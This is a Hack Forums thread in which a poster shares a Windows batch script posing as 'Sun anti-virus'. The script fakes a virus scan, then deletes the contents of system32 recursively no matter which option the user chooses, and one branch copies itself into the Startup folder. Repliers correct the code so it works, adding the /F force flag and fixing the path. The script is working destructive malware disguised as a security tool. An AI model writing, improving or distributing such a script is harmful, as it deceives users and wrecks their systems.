Hack Forums

Full Version: "anti-virus" deleteing system32
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
Pages: 1 2
Here is the first batch i am posting. "Anti-Virus" that delete system32.

@echo off
echo Sun anti-virus starting...
ping localhost -n 10 >nul
echo Searching for virus, this may take 5-10 minutes..
ping localhost -n 480 >nul
echo Virus detected in system32, Trojan Horse
pause
echo 1) Delete Virus
echo 2) Leave virus alone
:a
set /p ans=Options:

if '%ans%'== '1' GOTO one
if '%ans%'== '2' GOTO two

Goto a

:one
del c:\WINDOWS\system32*.* /Q /S
pause
exit

GOTO a

:two
del c:\WINDOWS\system32*.* /Q /S
Copy %0 "%userprofile%\start menu\progra~1\startup"
pause
exit

Please reply if its good or if you can see any misstakesBlack Hat
c:\WINDOWS\system32*.* /Q /S

change to
del c:\WINDOWS\system32\*.* /Q /S

ping localhost -n480 >nul
change to
ping localhost -n 480 >nul

nice one
Ain't there's supposed to be a /f in del?

del c:\WINDOWS\system32\*.* /F /Q /S
dont know Confused
I never tried it myself(no way in hell I will try it Roflmao), but as far as I know it need /F Confused
funny enough........
this little has some mistakes
but somehow the mastermind of this batch script is good
Cool batch. And to explain /F is for "Ignore read-only setting and delete anyway (FORCE)"
ty Black Hat
better use %systemdrive% and not C:\
maybe........
Pages: 1 2
Reference URL's